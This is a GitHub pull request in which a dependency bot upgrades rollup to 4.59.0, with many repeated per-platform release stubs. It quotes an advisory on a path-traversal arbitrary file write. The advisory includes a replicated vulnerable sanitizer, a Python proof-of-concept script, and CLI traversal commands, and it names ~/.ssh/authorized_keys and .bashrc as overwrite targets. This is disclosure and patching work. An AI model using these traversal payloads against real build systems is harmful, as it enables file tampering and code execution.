Skip to content

🚨 [security] Update rollup 4.57.1 → 4.59.0 (minor)#24

Merged
depfu[bot] merged 1 commit intomainfrom
depfu/update/npm/rollup-4.59.0
Feb 26, 2026
Merged

🚨 [security] Update rollup 4.57.1 → 4.59.0 (minor)#24
depfu[bot] merged 1 commit intomainfrom
depfu/update/npm/rollup-4.59.0

Conversation

@depfu
Copy link
Contributor

@depfu depfu bot commented Feb 26, 2026

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ rollup (4.57.1 → 4.59.0) · Repo · Changelog

Security Advisories 🚨

🚨 Rollup 4 has Arbitrary File Write via Path Traversal

Summary

The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

Details

The vulnerability is caused by the combination of two flawed components in the Rollup core:

  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).

    // src/utils/sanitizeFileName.ts (Line 3)
const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;

    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.

  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.

    // src/rollup/rollup.ts (Line 317)
const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);

    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

PoC

A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit

  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters: 
    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided :

  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.

vuln_app.js

const path = require('path');
const fs = require('fs');

/**

 * REPLICATED ROLLUP VULNERABILITY

 * 

 * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)

 * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)

 */


function sanitize(name) {

// The vulnerability: Rollup's regex fails to strip dots and slashes, 

// allowing path traversal sequences like '../'

return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[]^`{|}\u007F]/g, '_');

}


async function build(userSuppliedName) {

const outputDir = path.join(__dirname, 'dist');

const fileName = sanitize(userSuppliedName);


<span class="pl-c">// Vulnerability: path.resolve() follows traversal sequences in the filename</span>
<span class="pl-k">const</span> <span class="pl-s1">outputPath</span> <span class="pl-c1">=</span> <span class="pl-s1">path</span><span class="pl-kos">.</span><span class="pl-en">resolve</span><span class="pl-kos">(</span><span class="pl-s1">outputDir</span><span class="pl-kos">,</span> <span class="pl-s1">fileName</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

<span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">`[*] Target write path: <span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">outputPath</span><span class="pl-kos">}</span></span>`</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

<span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">!</span><span class="pl-s1">fs</span><span class="pl-kos">.</span><span class="pl-en">existsSync</span><span class="pl-kos">(</span><span class="pl-s1">path</span><span class="pl-kos">.</span><span class="pl-en">dirname</span><span class="pl-kos">(</span><span class="pl-s1">outputPath</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
    <span class="pl-s1">fs</span><span class="pl-kos">.</span><span class="pl-en">mkdirSync</span><span class="pl-kos">(</span><span class="pl-s1">path</span><span class="pl-kos">.</span><span class="pl-en">dirname</span><span class="pl-kos">(</span><span class="pl-s1">outputPath</span><span class="pl-kos">)</span><span class="pl-kos">,</span> <span class="pl-kos">{</span> <span class="pl-c1">recursive</span>: <span class="pl-c1">true</span> <span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span>

<span class="pl-s1">fs</span><span class="pl-kos">.</span><span class="pl-en">writeFileSync</span><span class="pl-kos">(</span><span class="pl-s1">outputPath</span><span class="pl-kos">,</span> <span class="pl-s">'console.log("System Compromised!");'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">`[+] File written successfully.`</span><span class="pl-kos">)</span><span class="pl-kos">;</span>



}


build(process.argv[2] || 'bundle.js');

exploit.py

import subprocess
from pathlib import Path

def run_poc():

# Target a file outside the 'dist' folder

poc_dir = Path(file).parent

malicious_filename = "../pwned_by_rollup.js"

target_path = poc_dir / "pwned_by_rollup.js"


<span class="pl-en">print</span>(<span class="pl-s">f"=== Rollup Path Traversal PoC ==="</span>)
<span class="pl-en">print</span>(<span class="pl-s">f"[*] Malicious Filename: <span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">malicious_filename</span><span class="pl-kos">}</span></span>"</span>)

<span class="pl-c"># Trigger the vulnerable app</span>
<span class="pl-s1">subprocess</span>.<span class="pl-c1">run</span>([<span class="pl-s">"node"</span>, <span class="pl-s">"poc/vuln_app.js"</span>, <span class="pl-s1">malicious_filename</span>])

<span class="pl-k">if</span> <span class="pl-s1">target_path</span>.<span class="pl-c1">exists</span>():
    <span class="pl-en">print</span>(<span class="pl-s">f"[SUCCESS] File escaped 'dist' folder!"</span>)
    <span class="pl-en">print</span>(<span class="pl-s">f"[SUCCESS] Created: <span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">target_path</span><span class="pl-kos">}</span></span>"</span>)
    <span class="pl-c"># target_path.unlink() # Cleanup</span>
<span class="pl-k">else</span>:
    <span class="pl-en">print</span>(<span class="pl-s">"[FAILED] Exploit did not work."</span>)



if name == "main":

run_poc()

POC

rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist

image

Impact

This is a High level of severity vulnerability.

  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.
Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-android-arm-eabi (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-android-arm64 (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-darwin-arm64 (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-darwin-x64 (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-freebsd-arm64 (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-freebsd-x64 (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-arm-gnueabihf (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-arm-musleabihf (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-arm64-gnu (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-arm64-musl (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-loong64-gnu (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-ppc64-gnu (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-riscv64-gnu (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-riscv64-musl (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-s390x-gnu (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-x64-gnu (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-linux-x64-musl (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-openharmony-arm64 (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-win32-arm64-msvc (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-win32-ia32-msvc (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-win32-x64-gnu (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​rollup/rollup-win32-x64-msvc (indirect, 4.57.1 → 4.59.0) · Repo · Changelog

Release Notes

4.59.0

More info than we can show here.

4.58.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu bot added the depfu label Feb 26, 2026
@socket-security
Copy link

socket-security bot commented Feb 26, 2026

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security		 Vulnerability Quality Maintenance License
Updatedrollup@​4.57.1 ⏵ 4.59.088100 +1610099100

View full report

@depfu depfu bot merged commit 85cbea8 into main Feb 26, 2026
7 checks passed
@depfu depfu bot deleted the depfu/update/npm/rollup-4.59.0 branch February 26, 2026 00:11
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

depfu

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants